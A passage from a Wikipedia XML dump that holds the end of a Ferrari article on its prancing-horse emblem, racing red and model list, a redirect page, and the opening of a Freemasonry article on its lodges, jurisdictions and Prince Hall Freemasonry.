Famous drivers include [[Tazio Nuvolari]], [[Juan Manuel Fangio]], [[Alberto Ascari]], [[Phil Hill]], [[Mike Hawthorn]], [[John Surtees]], [[Niki Lauda]], [[Jody Scheckter]], [[Gilles Villeneuve]], [[Nigel Mansell]], [[Alain Prost]] and [[Michael Schumacher]].

== The &quot;Cavallino Rampante&quot; ==
[[Image:Scuderia Ferrari Logo.png|thumbnail|120px|left|The Scuderia Ferrari Logo]]

The famous symbol of the Ferrari race team is a black prancing [[horse]] on yellow shield-shaped background, usually with the letters ''S F'' for ''Scuderia Ferrari'', and with three stripes of the Italian national colors green-white-red on top. The road cars have a rectangular badge on the front hood (see picture above).

Curiously, a similar black horse on a yellow shield is the [[Coat of Arms]] of the [[Germany|German]] city of [[Stuttgart]]. This name is derived from ''Stutengarten'', an ancient form of the modern German word ''Gestüt'', which translates into English as ''stud farm'' and into Italian as ''scuderia''. Stuttgart, called ''Stoccarda'' by the Italians, is the home of [[Mercedes-Benz]] and Ferrari's rival [[Porsche]], which also uses the Stuttgart sign in its corporate logo, centered in the emblem of the state of [[Württemberg]] just like the city is placed within the state. Enzo Ferrari met these competitors many times since the 1920s while competing for [[Alfa Romeo|Alfa]]. 

[[Image:Stuttgart_coat_of_arms.gif|thumbnail|120px|right|Coat of Arms of [[Stuttgart]], Germany]]

On [[June 17]], [[1923]], Enzo Ferrari won a race at the [[Savio]] track in [[Ravenna]] where he met the Countess Paolina, mother of Count [[Francesco Baracca]], a legendary ''asso'' (ace) of the Italian [[air force]] and national hero during [[World War I]], who used to paint a horse on the side of his planes. The Countess asked Enzo to use this horse on his cars, suggesting that it would grant him good luck. Ferrari left the horse black as it had been on Baracca's plane; however, he added a [[canary]] [[yellow]] background as this is the color of the city of [[Modena]], his birthplace. It has been supposed the choice of a horse was perhaps partly because his noble family was known for having many horses on their estates at Lugo di Romagna. Another theory suggests Baracca copied the rampant horse design from a shot-down German pilot who had the emblem of the city of Stuttgart on his plane. This is supported by the evidence Barraca's horse looks more similar to the one of Stuttgart (not changed since 1938) than the current Ferrari design, especially as the legs of the horses are concerned.  Baracca using the Stuttgart horse from a shot-down plane ties in with the fact that his family owned many horses.

The first race at which [[Alfa Romeo]] would let Ferrari use the horse on the Alfas entered by his [[Scuderia Ferrari]] was eleven years later at [[Spa 24 Hours]] in [[1932]], which the Ferrari-led Alfa team won. Ever since, the cavallino was shown on the Alfas that were competing against the [[Silver Arrow]]s of [[Mercedes-Benz]] and [[Auto Union]], among others.

[[Image:FBaracca_1.jpg|thumbnail|left|Count Francesco Baracca]]

The prancing horse has not always been uniquely identified with the Ferrari brand: [[Fabio Taglioni]] used it on his [[Ducati]]  motorbikes. Taglioni's father was, in fact, a companion of Baracca's and fought with him in the 91st Air Squad. But, as Ferrari's fame grew, Ducati abandoned the horse; this may have been the result of a private agreement between the two brands.

[[Image:Logo_avanti.gif|thumbnail|right|Austrian Fuel Stations]]

The prancing horse is now a [[trademark]] of Ferrari. Yet, other companies use similar logos. One example is quite prominent next to roads in Austria and Eastern European countries, as an Austrian company, named &quot;avanti&quot; (http://www.avanti.at) since 1972, operates over 100 [[filling station]]s marked with a prancing horse logo which is nearly identical to Ferrari's.

== Rosso Corsa ==
Since the 1920s, Italian race cars of [[Alfa Romeo]], [[Maserati]] and later Ferrari and [[Abarth]] were (and often still are) painted in &quot;race red&quot; (''Rosso Corsa''). This was the customary national racing color of Italy, as recommended between the World Wars by the organisations that later would become the [[FIA]]. 
In that scheme, French cars like [[Bugatti]] were blue, German like [[BMW]] and [[Porsche]] white (since 1934 also [[Silver Arrows]]), [[British racing green]] etc. 

The color was not determined by the country the car was made in, nor by the nationality of the driver(s), but by the nationality of the team that entered the vehicle. For example, a yellow Ferrari 156 was entered and driven in the [[1961 Belgian Grand Prix]] by [[Olivier Gendebien]] from [[Belgium]], scoring 4th behind 3 other [[Ferrari 156]] painted in red, as they were entered by the Scuderia Ferrari itself, but driven by [[United States|Americans]] [[Phil Hill]] and [[Richie Ginther]] as well as [[Germany|German]] [[Wolfgang von Trips]]. 

These national colors were mostly replaced by sponsor liveries since 1968, but unlike most other teams, Ferrari always kept the traditional red. The shade of the color varies, though. Since 1996, the Ferrari F1 cars are said to be painted in a brighter, nearly orange red, in order to fit better to their tobacco sponsor. In recent years, these traditional colors have resurfaced in some cases, eg. the green [[Jaguar Racing]] in F1 as well as the blue on current [[Renault F1]] cars, which was originally contributed by a tobacco sponsor. When [[BMW]] re-entered F1 in 2000, they also made sure that the cars of [[WilliamsF1]] were painted white and blue.

Curiosly, Ferrari won the 1964 World championship with [[John Surtees]] by competing the last two races in cars painted white and blue, as these were not entered by the Italian factory themselves, but the US-based [[NART]] team. This was done as a protest concerning arguments between Ferrari and the Italian Racing Authorities regarding the homologation of a new mid-engined Ferrari race car.

== List of models ==
Until the mid-[[1990s]], Ferrari followed a three-number naming scheme based on [[engine displacement]]:
* V6 and V8 models used the total displacement (in deciliters) for the first two digits and the number of cylinders as the third.  Thus, the 206 was a 2.0&amp;nbsp;L V6-powered vehicle, while the 348 used a 3.4&amp;nbsp;L V8.
* V12 models used the displacement (in cubic centimeters) of one cylinder.  Therefore, the famed 365 Daytona had a 4380&amp;nbsp;cc V12.
* Flat twelve (boxer) models used the displacement in liters.  Therefore, the 512BB was five liter flat 12 (a Berlinetta Boxer, in this case).

Most Ferraris were also given designations referring to their body style.  In general, the following conventions were used:
* '''M''' standing for &quot;Modificata,&quot; this suffix is placed to the end of a model's number designation to denote that it is a modified version of its predecessor and not a complete evolution (see [[Ferrari Testarossa#F512M|F512M]] and [[Ferrari 575M Maranello|575M Maranello]]).
* '''GTB''' models are closed [[Berlinetta]]s, or [[coupe]]s
* '''GTS''' models, in older models, are [[convertible]]s (see [[Ferrari Daytona#365 GTS4|365 GTS4]]); however, in late models, this suffix is used for [[targa top]] models (see [[Ferrari 348|348]] [[Ferrari 348#348 GTS|GTS]], and [[Ferrari F355|F355]] [[Ferrari F355#F355 GTS|GTS]]; exception being the [[Ferrari 348|348]] [[Ferrari 348#348 TS|TS]], which is the only targa named differently). The convertible models now use the suffix &quot;Spider&quot; (see [[Ferrari F355|F355]] Spider, and [[Ferrari 360]] Spider).

This naming system can be confusing, as some entirely different vehicles used the same engine type and body style.  Many Ferraris also had other names affixed (like Daytona) to identify them further. Many such names are actually not official factory names. The [[Ferrari Daytona#365 GTB4|365 GTB4]] model only became known as a Daytona after racing variants run by N.A.R.T. (North American Racing Team, who raced Ferrari's in America) won the famous 24 hour race of the same name. As well, the [[Ferrari 250 GTO|250 GTO]]'s famous acronym, which means ''Gran Turismo Omologato'', was simply a name the Italian press gave the car which referred to the way Ferrari had, in a sense, avoided the rules and successfully homologated the car for racing purposes (Somehow, Ferrari had convinced the [[FIA]], the 250 GTO was the same car as previous [[Ferrari 250|250]]'s). This was probably to avoid confusion with the multiple 250 models produced before the GTO.

The various [[Ferrari Dino|Dino]] models were named for Enzo's son.

In the mid 1990s, Ferrari added the letter &quot;F&quot; to the beginning of all models (a practice quickly abandoned after the [[Ferrari Testarossa#F512M|F512M]] and [[Ferrari F355|F355]], but recently picked up again with the [[Ferrari F430|F430]]).

=== Road models ===
{{Early Ferrari vehicles}}&lt;br&gt;
{{Ferrari vehicles}}&lt;br&gt;
[[Image:Ferrari parking lot at USGP 2005.jpg|thumb|250px|The [[Ferrari Club of America]]'s parking lot at the [[2005 United States Grand Prix]]]]

====Sports cars====
Ferrari's earliest models were pure sports cars, not the exotics we know today.

* 1948-1950 '''[[Ferrari 166|166]]'''
* 1951 '''[[Ferrari 195|195]]''' Coupe
* 1951-1952 '''[[Ferrari 212|212]]''' Coupe/Cabriolet
* 1952 '''[[Ferrari 340#340 MM|340 MM]]''' Berlinetta/Spider

====Mid-engine V6/V8====
[[Image:Ferrari.targa.arp.750pix.jpg|right|thumb|250px|[[Ferrari 308 GTB|Ferrari 328 GTS]] Targa]]
[[image:marbella1.jpg|right|thumb|350px|An entrance to an [[Emir]]'s palace in [[Marbella]], Spain featuring a Ferrari]]

The Dino was the first mid-engined Ferrari.  This layout would go on to be used in most Ferraris of the 1980s and 1990s.  V6 and V8 Ferrari models make up well over half of the marque's total production.

* 1968-1975 '''[[Ferrari Dino|Dino]]'''
** 1968-1973 Dino 206GT
** 1968-1973 Dino 246GT/GTS
* 1975-1989 '''[[Ferrari 308GTB|208/308/328 GTB/GTS]]'''
** 1975 [[Ferrari 308#308 GTB|308 GTB]]/[[Ferrari 308#308 GTS|GTS]]
** 1980 [[Ferrari 308#208 GTB|208 GTB]]/[[Ferrari 308#208 GTS|GTS]]
** 1980 [[Ferrari 308#308 GTBi|308 GTBi]]/[[Ferrari 308#308 GTSi|GTSi]]
** 1982 [[Ferrari 308#208 GTB Turbo|208 GTB]]/[[Ferrari 308#208 GTS Turbo|GTS]] [[Turbo]]
** 1982 [[Ferrari 308#308 GTB Quattrovalvole|308 GTB]]/[[Ferrari 308#308 GTS Quattrovalvole|GTS]] Quattrovalvole
** 1985 [[Ferrari 308#328 GTB|328 GTB]] Berlinetta
** 1986 [[Ferrari 308#GTB Turbo|GTB]]/[[Ferrari 308#GTS Turbo|GTS]] [[Turbo]]
* 1989 '''[[Ferrari 348|348]]'''
** 1989 [[Ferrari 348#348 TB|348 TB]]/[[Ferrari 348#348 TS|TS]]
** 1993 [[Ferrari 348#348 GTB|348 GTB]]/[[Ferrari 348#348 GTS|GTS]]
* 1995-1998 '''[[Ferrari F355|F355]]'''
** 1994 [[Ferrari F355#F355|F355]]/[[Ferrari F355#F355 GTS|GTS]]
** 1997 [[Ferrari F355#355 F1|355 F1]]
* 1999-2004 '''[[Ferrari 360]]'''
** 1999-2004 360 Modena/Spider
** 2003-2004 Challenge Stradale
* 2005 '''[[Ferrari F430|F430]]'''

====2-seat Gran Turismo====
Ferrari quickly moved into the Gran Turismo market, and the bulk of the company's sales remain in this area.

* 1952-1967 '''[[Ferrari America|America]]'''
** 1952 [[Ferrari America#340 America|340 America]]
** 1953 [[Ferrari America#375 America|375 America]]
** 1956 [[Ferrari America#410 superamerica|410 superamerica]]
** 1957 [[Ferrari America#410 superamerica III|410 superamerica III]]
** 1960 [[Ferrari America#400 superamerica|400 superamerica]]
** 1964 [[Ferrari America#500 Superfast|500 Superfast]]
** 1966 [[Ferrari America#365 California|365 California]]
* 1953-1962 '''[[Ferrari 250|250]]'''
** 1952 [[Ferrari 250#250S|250S/250MM]]
** 1953 [[Ferrari 250#250 Export/Europa|250 Export/Europa]]
** 1954-1963 [[Ferrari 250#250 GT|250 GT Europa/Boano/Ellena/Coupe Pininfarina/Lusso]]
** 1957-1960 [[Ferrari 250#Sports cars|250 GT Berlinetta/Cabriolet/California Spyder/SWB]]
* 1964 '''[[Ferrari 330|330]]'''
** 1966 [[Ferrari 330#330 GTC|330 GTC]] Coupe
** 1966 [[Ferrari 330#330 GTS|330 GTS]] Spider
* 1964-1968 '''[[Ferrari 275|275]]'''
** 1964-1965 [[Ferrari 275#275 GTB|275 GTB]]/[[Ferrari 275#275 GTS|GTS]]
** 1966-1968 [[Ferrari 275#275 GTB4|275 GTB/4]]
* 1968 '''[[Ferrari 365|365]]'''
** 1968-1969 [[Ferrari 365#365 GTC|365 GTC]] Coupe
** 1969-1970 [[Ferrari 365#365 GTS|365 GTS]] Spider
* 1968-1973 '''[[Ferrari Daytona|Daytona]]'''
** 1968 [[Ferrari Daytona#365 GTB4|365 GTB4]]/[[Ferrari Daytona#365 GTS4|365 GTS4]]
* 1996-2001 '''[[Ferrari 550 Maranello|550 Maranello]]'''
** 1996-2000 [[Ferrari 550#550 Maranello|550 Maranello]] Coupe
** 2001 [[Ferrari 550#550 Barchetta|550 Barchetta]]
* 2002-2006 '''[[Ferrari 575M Maranello|575M Maranello]]'''
** 2004 [[Ferrari 575M Maranello|Barchetta]]
** 2005 [[Ferrari 575M Maranello|Superamerica]]
* 2007 '''[[Ferrari 599|599 GTB Fiorano]]'''

====Mid-engine 2+2====
[[image:ferrari.dino.arp.750pix.jpg|thumb|right|250px|[[Bertone]]-bodied [[Ferrari Dino|Dino]] [[Ferrari GT4|308 GT4]]]]

For a time, Ferrari built 2+2 versions of its mid-engined V8 cars.  Although they looked quite different from their 2-seat counterparts, both the GT4 and Mondial were very closely-related to the 308 GTB.

* 1974-1980 '''[[Ferrari GT4|208/308 GT4]]'''
** 1974-1975 [[Ferrari GT4#308 GT4|''Dino'' 308GT4]]
** 1976-1980 [[Ferrari GT4#308 GT4|308GT4]]
** 1975 [[Ferrari GT4#208 GT4|208 GT4]]
* 1980 '''[[Ferrari Mondial|Mondial]]'''
** 1980 [[Ferrari Mondial#Mondial 8|Mondial 8]]
** 1982 [[Ferrari Mondial#Mondial Quattrovalvole|Mondial Quattrovalvole]]
** 1983 [[Ferrari Mondial#Mondial Cabriolet|Mondial Cabriolet]]
** 1985 [[Ferrari Mondial#3.2 Mondial|3.2 Mondial]]/[[Ferrari Mondial#3.2 Cabriolet|3.2 Cabriolet]]
** 1989 [[Ferrari Mondial#Mondial T|Mondial T]]

====Front-engine 2+2====
[[Image:SAG2004 214 Ferrari G12.JPG|right|thumb|[[Ferrari 612 Scaglietti]]]]

The company has also produced front-engined 2+2 cars, culminating in the current 612 Scaglietti.

* 1960-1963 '''[[Ferrari 250|250]]'''
** 1960-1963 [[Ferrari 250#250 GT|250 GT 2+2]]
* 1964-1967 '''[[Ferrari 330|330]]'''
** 1964-1967 [[Ferrari 330#330 GT|330 GT 2+2]]
* 1967-1971 '''[[Ferrari 365|365]]'''
** 1967-1971 [[Ferrari 365#365 GT|365 GT 2+2]]
* 1968-1973 '''[[Ferrari Daytona|365 Daytona]]'''
** 1971-1972 [[Ferrari Daytona#365 GTC4|365 GTC4]]
** 1972-1976 [[Ferrari Daytona#365 GT4|365 GT4 2+2]]
* 1976-1989 '''[[Ferrari 400|400/412]]'''
** 1976 [[Ferrari 400#400 Automatic|400 Automatic]]
** 1979 [[Ferrari 400#400i|400i]]
** 1985 [[Ferrari 400#412|412]]
* 1992-2003 '''[[Ferrari 456|456/456M]]'''
** 1992-1997 [[Ferrari 456#456 GT|456 GT/GTA]] Coupe
** 1998-2003 [[Ferrari 456#456M GT|456M GT]] Coupe
* 2004-2005 '''[[Ferrari 612 Scaglietti|612 Scaglietti]]'''

====Mid-engine 12-cylinder====
Ferrari entered the mid-engined 12-cylinder fray with the Berlinetta Boxer in 1971.  The later Testarossa remains one of the most famous Ferraris.

* 1971-1984 '''[[Ferrari 512 Berlinetta Boxer|512 Berlinetta Boxer]]'''
** 1971 [[Ferrari 512 Berlinetta Boxer#365 GT4 BB|365 GT4 BB]]
** 1976 [[Ferrari 512 Berlinetta Boxer#512BB|512BB]] 
** 1981 [[Ferrari 512 Berlinetta Boxer#512iBB|512iBB]]
* 1984-1996 '''[[Ferrari Testarossa|Testarossa]]'''
** 1984-1992 [[Ferrari Testarossa#Testarossa|Testarossa]]
** 1992-1994 [[Ferrari Testarossa#512TR|512TR]]
** 1994-1996 [[Ferrari Testarossa#F512M|F512M]]

====Supercars====
[[Image:Scarsdale Concours Enzo 2.jpg|right|thumb|250px|The [[Ferrari Enzo|Enzo]]]]

The company's loftiest efforts have been in the [[supercar]] market.

* 1962 '''[[Ferrari 250 GTO|250 GTO]]'''
* 1984 '''[[Ferrari GTO|288 GTO]]'''
* 1988&amp;ndash;1992 '''[[Ferrari F40|F40]]'''
* 1995&amp;ndash;1997 '''[[Ferrari F50|F50]]'''
** 1996 [[Ferrari F50 GT|F50 GT]]
* 2003&amp;ndash;2005 '''[[Ferrari Enzo Ferrari|Enzo Ferrari]]'''

=== Competition models ===
==== Current ====
*[[Ferrari 360 GTC|360 GTC]]
*[[Ferrari 360 Challenge|360 Challenge]]
*[[Ferrari 575 GTC|575 GTC]]
*[[Ferrari FXX|FXX]]

==== Past ====
[[Image:RL 1958 Ferrari 250 Testa Rossa 34.JPG|right|thumb|250px|1958 Ferrari 250 Testa Rossa from the [[Ralph Lauren]] collection]]

* 1947 [[Ferrari 125|125 Sport]]
* 1948 [[Ferrari 166|166]]
* 1949 [[Ferrari 125 F1|125 F1]]
* 1951 [[Ferrari America|340 America]]
* 1952 [[Ferrari 250#250MM|250MM]]
* 1953 [[Ferrari America|340 MM]]
* 1953 [[Ferrari America|375 MM]]
* 1954 [[Ferrari 750 Monza|750 Monza]]
* 1954 [[Ferrari 250#250 Monza|250 Monza]]
* 1956 [[Ferrari TR#250 Testa Rossa|250 Testa Rossa]]
* 1960 [[Ferrari TR#250 TR|250 TR60/61]]
* 1962 [[Ferrari 250 GTO|GTO]]
** 1962 [[Ferrari 250 GTO|250 GTO]]
** 1963 [[Ferrari 330#330 LMB|330 LMB]]
* 1963 [[Ferrari P|P/LM series]]
** 1963 [[Ferrari P#250 P|250 P]]
** 1964 [[Ferrari P#250 LM|250 LM]]
** 1964 [[Ferrari P#330 P|330 P]]
** 1965 [[Ferrari P#330 P2|330 P2]]
** 1966 [[Ferrari P#330 P3|330 P3]]
** 1967 [[Ferrari P#330 P4|330 P4]]
** 1967 [[Ferrari P#412 P|412 P]]
* 1969 [[Ferrari P|312 P]]
* 1969 [[Ferrari 512|512 S and 512 M]]
* 1971 [[Ferrari P|312 PB]]
* 1994 [[Ferrari 333 SP|333 SP]]
* 1996 [[Ferrari F50|F50 GT]]
** 2003 [[Ferrari F60|F60 ENZO|ENZO]]

== See also ==
* [[List of automobile manufacturers]]
* [[List of Italian companies]]
* [[List of Ferrari engines]]

== External links ==
{{wikiquote}}
{{commons|Ferrari}}
* [http://ferrariworld.com The official Ferrari website] (in Italian, English and German)
* [http://www.ferrariforum.com Ferrari Forum] - Networking the Ferrari World
* [http://www.Forumula1.co.uk/ F1 Discussion Forum]
* [http://ferrarichat.com An online Ferrari community]
* [http://www.classictvcars.com/308-ferrari.php Magnum PI Ferrari]
* [http://www.myautoworld.com/autos/ferrari/ferrari.html myAutoWorld.com] Ferrari Profiles and Reviews
* [http://team56.gumballers.net Ferrari driving videos]
* [http://www.gumball-3000.com/rally/ Overview of Ferrari's in the Gumball 3000]
* [http://www.ferrarimarketletter.com Ferrari Market Letter] - Widely accepted as the bible on the Ferrari market
* [http://www.wheelsofitaly.com Ferrari's and other Italian Cars (Wheels Of Italy)]
* [http://www.automotoportal.com/ Automotive industry portal with Ferrari news]

==External Pictures Galleries==
*[http://galleriaferrari.com The Galleria Ferrari museum website] (in Italian and English)
*[http://www.netcarshow.com/ferrari/ Ferrari Pictures and Wallpapers]

; Chatting in IRC
* [irc://irc.quakenet.org/ferrari #Ferrari] -- The unofficial Ferrari support channel for all Ferrari fans in [[QuakeNet]] [[Internet Relay Chat|IRC]] Network

{{Template:Ferrari_vehicles}}

[[Category:Ferrari]]
[[Category:Exotic cars]]
[[Category:Formula One]]
&lt;!-- This company has its own category. If you'd like to add other categories then please add them to
the Ferrari category rather than this article - thx --&gt;

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[[he:פרארי]]
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[[ja:フェラーリ]]
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    </revision>
  </page>
  <page>
    <title>Finno Ugric</title>
    <id>11226</id>
    <revision>
      <id>15908989</id>
      <timestamp>2004-11-17T00:41:49Z</timestamp>
      <contributor>
        <username>Naive cynic</username>
        <id>84472</id>
      </contributor>
      <minor />
      <comment>fix redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Finno-Ugric languages]]</text>
    </revision>
  </page>
  <page>
    <title>Freemasonry</title>
    <id>11227</id>
    <restrictions>edit=autoconfirmed:move=autoconfirmed</restrictions>
    <revision>
      <id>42153452</id>
      <timestamp>2006-03-04T04:16:51Z</timestamp>
      <contributor>
        <username>Bedford</username>
        <id>256457</id>
      </contributor>
      <comment>/* Organizations with Masonic affiliations */</comment>
      <text xml:space="preserve">{{sprotected}}
{{ActiveDiscuss}}
[[Image:Square compasses.png|frame|right|'''The Masonic Square and Compasses.''' (''This is found with or without the &quot;G&quot;'')]]

'''Freemasonry''' is a worldwide [[fraternal organization]]. Members are joined together by shared ideals of both [[Morality|moral]] and [[metaphysics|metaphysical]] nature and, in most of its branches, by a constitutional declaration of belief in a [[Great_Architect_of_the_Universe|Supreme Being]].  Organisationally, Freemasonry is governed on a geographic basis by independent, [[Sovereign]] [[Grand Lodge| Grand Lodges]] which may, or may not, be in a state of mutual recognition.&lt;ref&gt;http://www.grandlodge-england.org/pdf/cr-rule-update2-141205.pdf Aims and Relationships of the Craft Para 9&lt;/ref&gt; 

{{NPOV-section}}

Freemasonry is an [[Esotericism|esoteric]] society, in that certain aspects of its internal work are not generally disclosed to the public&lt;ref&gt;http://www.grandlodge-england.org/pdf/cr-rule-update2-141205.pdf Aims and Relationships of the Craft Para 11&lt;/ref&gt;, but it is not an [[occult]] system. Masonry's critics however say that many of the most well known occultists have been Freemasons, and that in fact Freemasonry is at the very center of the [[occult]].&lt;ref&gt;http://www.conspiracyarchive.com/NWO/Freemasonry.htm Freemasonry: Midwife to an Occult Empire.&lt;/ref&gt; Masonry says in recent years, it has become less and less a [[secret society]] and more of a &quot;society with secrets.&quot; &lt;ref&gt;http://www.grandlodge-england.org/masonry/what-is-freemasonry.htm&lt;/ref&gt;&lt;ref&gt;http://www.grandlodge-england.org/masonry/YQA-secret-society.htm&lt;/ref&gt; Freemasonrys critics say that there has been no change and that Freemasonry is as it has always been, a [[secret society]]. &lt;ref&gt;http://www.freemasonrywatch.org Freemasonry Watch&lt;/ref&gt; Masons say that therefore, the private aspects of modern Freemasonry deal with elements of ritual and the modes of [[recognition]] amongst members within the [[ritual]]. &lt;ref&gt;Emulation Ritual ISBN 0 85318 187 X pub 1991, London&lt;/ref&gt;&lt;ref&gt;http://www.grandlodge-england.org/masonry/YQA-secret-society.htm&lt;/ref&gt; Freemasonry's critics maintain that the oaths taken by Masons require them to keep all secrets of Masons, including knowledge of activities of other Masons that take place outside the Lodge. &lt;ref&gt;Inside the Brotherhood, Martin Short&lt;/ref&gt;

==Organizational structure==
{{main|Grand Lodge}}

[[Image:freemasons.hall.london.arp.750pix.jpg|thumb|right|Home of the United Grand Lodge of England.]]

There are many jurisdictions within Freemasonry, each sovereign and independent of the others, and usually defined according to a national or geographic territory. There is no central Masonic '''organizational structure''' or authority, and in any event many practices are determined by Lodge custom, so any general description will inevitably be inaccurate in respect of some places.

The authority in any Masonic jurisdiction is vested in a ''[[Grand Lodge]]'', or sometimes a ''Grand Orient''. Each jurisdiction maintains a list of other jurisdictions that it formally ''recognizes'' as meeting its requirements  for ''regularity'' based on a number of ''Landmarks''. If the other jurisdiction reciprocates the recognition, the two jurisdictions are said to be ''in amity''. Being in amity means that the members are able to attend meetings bilaterally. In keeping with the decentralized and non-dogmatic nature of Freemasonry, there is no universally accepted list of landmarks, although a number of core principles exist. Jurisdictions in amity with each other may have very different ideas as to what those landmarks are, with some taking no official position at all{{fact}}.

Subject to the size of the Grand Lodge the geographic area of coverage may be sub-divided into Provinces, each governed by a Provincial, District or Metropolitan Grand Lodge.

The first Grand Lodge jurisdiction in Freemasonry was the [[Grand Lodge of England]], founded in [[1717]] when four existing Lodges met to form the governing body.  A competing [[Grand Lodge]] formed in [[York]] claiming that the Grand Lodge in London had broken with a number of traditions and was divergent from the principles of Freemasonry.  The Grand Lodge became known as the ''Moderns'' and the York Grand Lodge became known as ''Antients''.  The two reunited in [[1813]], to become the [[United Grand Lodge of England]] (UGLE). It is today the only regular Craft jurisdiction in [[England]], and generally considered to be the oldest Grand Lodge jurisdiction in the world.

The oldest jurisdiction in the [[European]] Continental branch, and the largest jurisdiction in [[France]], is the [[Grand Orient de France]] (GOdF), founded in [[1728]].  At one time, the two branches bilaterally recognized each other, but most jurisdictions cut off formal relations with the GOdF around 1877&lt;ref name=&quot;GOdF&quot;&gt;Freemasons for Dummies, by Christopher Hodapp, Wiley Publishing Inc., Indianapolis, 2005, p.70, sec. &quot;The Grand Orient of France&quot;&lt;/ref&gt;.  The Grande Loge Nationale Francaise (GLNF) &lt;ref&gt;[http://www.grandelogenationalefrancaise.com/ The Grande Loge Nationale Francaise (GLNF)], accessed [[February 6]] [[2006]].&lt;/ref&gt; is currently the only French Grand Lodge that is in ''regular amity'' with The United Grand Lodge of England (UGLE), and concordant jurisdictions. In most Latin countries, and in [[Belgium]], the GOdF style of European Continental Freemasonry predominates. The rest of the world, accounting for the bulk of Freemasonry, tends to follow the lead of the English UGLE, and concordant juristictions.

So, Freemasonry is often said to consist of two different branches:

* the UGLE and concordant tradition of jurisdictions (termed Grand Lodges) in amity and,
* the GOdF European Continental tradition of jurisdictions (often termed Grand Orients) in amity. 

In reality, there is no tidy way to split jurisdictions into distinct camps, as recognition is constitutional, not dogmatic. In addition, the geographical territory of one jurisdiction may overlap with another's, which may affect their relations, for purely territorial reasons. In other cases, one jurisdiction may overlook irregularities in another due simply to a desire to maintain friendly relations. Also, a jurisdiction may be formally affiliated with one tradition, while maintaining informal ties with the other. For all these reasons, labels must be taken only as rough indicators, not as clear designations.

{{see also| Regular Masonic jurisdictions}}

===The Masonic Lodge ===
{{main|Masonic Lodge}}

A '''Lodge''', often termed a ''Private Lodge'' or ''Constituent Lodge'' in Constitutions, is the basic organisation of Freemasonry. Every new Lodge must be warranted by a Grand Lodge, but is subject to its direction only in enforcing the published Constitution of the jurisdiction. A Master Freemason is generally entitled to visit any Lodge - in any jurisdiction in amity with his own. He is first usually required to check, and certify, the regularity of the relationship of the Lodge - and be able to satisfy that Lodge of his regularity of membership.

Contrary to popular belief, Freemasons meet as a [[Masonic Lodge|Lodge]] and not in a Lodge. Lodge buildings have for many years been known as ''Temples'', (&quot;of Philosophy and the Arts&quot;), but in many countries ''Masonic Centre'' or ''Hall'' has now replaced this term - to settle modern scruples. Several different Lodges often use the same premises - each on published dates. 

According to Masonic myth (see [[Freemasonry#History_of_Freemasonry|below]]), the ''operative lodges'' (the Medieval lodges of actual stonemasons) constructed a lodge building adjacent to their work site where the masons could meet for shelter, instruction and social contact. Normally this was on the southern side of the site (in Europe, the side with the sun warming the stones during the day). Hence the social gathering, (the ''Festive'' or ''Social Board''), of the lodge is sometimes also called ''the South''.

An early ''Speculative Lodge'', (including members not actually stonemasons), would meet in a [[tavern]] or other convenient meeting place with a private annex. The word Freemason may refer to these masons being &quot;free&quot; from work - as they met to talk about Masonic theory rather than practice - or it could relate to the liberal or &quot;free&quot; arts upon which much of freemasonry is based. It may simply refer to the superior grade of masons working in freestone, as used in early English statutes.

Many Lodges are formed by Masons living within a given town or neighborhood. Other Lodges, particularly in urban areas where there are many Lodges close together, are formed by persons who share a particular interest, particular profession or background - certain schools, universities or military units. There are also specialist lodges of &quot;Research and Instruction&quot; (R&amp;I). Membership in these R&amp;I lodges is typically open to interested Master Masons of other lodges - as R&amp;I lodges usually do not initiate new candidates to Freemasonry.

=== Prince Hall Freemasonry ===
{{main|Prince Hall Freemasonry}}

In 1775, an [[African American]] named [[Prince Hall]]&lt;ref&gt;[http://www.mindspring.com/~johnsonx/whoisph.htm Who is Prince Hall?], accessed [[November 14]] [[2005]].&lt;/ref&gt; was initiated into an Irish Constitution Military Lodge then in Boston, Massachusetts, along with fourteen other African Americans, all of whom were free born. When the Military Lodge left the [[North America]], the African Americans were given the authority to meet as a lodge, form Processions on the days of the Saints John, and conduct Masonic funerals, but not to confer degrees, nor to do other Masonic Work. In 1784 these individuals applied for, and obtained, a Lodge Warrant from the Premier Grand Lodge of England and formed African Lodge, Number 459 (Premier Grand Lodge of England). When the United Grand Lodge of England (UGLE) was formed in 1813, all U.S. based lodges were stricken from their rolls – due largely to the [[War of 1812| U.S. and British War, 1812 to 1815]]. Thus, separated from both UGLE and any concordantly recognised U.S. Grand Lodge, African Lodge re-titled itself as the African Lodge, Number 1 - and became a ''de facto'' &quot;Grand Lodge&quot;.  (This Lodge is not to be confused with the various Grand Lodges on the Continent of [[Africa]]). These events led to a tradition of separate and predominantly African American Freemasonry in North America, known as '''Prince Hall Freemasonry'''.  As with the rest of U.S. Freemasonry, Prince Hall Freemasonry soon grew, and organised on a Grand Lodge system for each State.

Prince Hall Masonry has always been ''regular'' in all respects except constitutional separation. Widespread [[racism]] and [[Racial segregation|segregation]], in the 19th and early 20th century North America, made it impossible for African Americans to join lodges outside of Prince Hall jurisdictions - and impossible for inter-jurisdiction recognition between the parallel U.S. Masonic authorities. Prince Hall Grand Lodges are, presently, recognized by some UGLE Concordant Grand Lodges and not by others, but appears to be working its way toward full recognition &lt;ref&gt;[http://bessel.org/masrec/phamapshistorical.htm Prince Hall Masonry Recognition details], Paul M. Bessel, accessed [[November 14]] [[2005]]&lt;/ref&gt;. It is now quite usual for non-Prince Hall lodges to have ethnically diverse membership. The majority of Masonic Grand Lodges in the United States now grant at least some degree of recognition to Prince Hall Grand Lodges.

In 2005, Prince Hall Lodge became formally recognized by the Grand Lodge of Maryland in Cockysville. All Prince Hall Lodge members are now recognized and allowed to attend all other recognized lodge's meetings. 

{{see also| Regular Masonic jurisdictions}}

===Other degrees, orders and bodies===
There is no degree in Freemasonry higher than that of Master Mason&lt;ref&gt;http://www.grandlodge-england.org/pdf/cr-rule-update2-141205.pdf Aims and Relationships of the Craft&lt;/ref&gt;.

A number of organisations exist which require one to be a Master Mason as a prerequisite for membership,&lt;ref&gt;  	Beyond the Craft: The Indispensable Guide to Masonic Orders Practised in England and Wales, Keith B Jackson, ISBN 0853182485, Pub 2005&lt;/ref&gt; none of which are considered to have any authority over the craft&lt;ref&gt;http://www.grandlodge-england.org/pdf/cr-rule-update2-141205.pdf Aims and Relationships of the Craft&lt;/ref&gt;.  These organisations are considered as additional or appendant, membership being discretionary in order to provide a different perspective on some of the allegorical, moral and philosophical content within Freemasonry.  These appendant bodies are administered separately from Freemasonry and within each there is a system of offices which confer rank within that order alone, although frequently these bodies style themselves as Masonic due to the membership requirement that one hold the Master Mason degree.

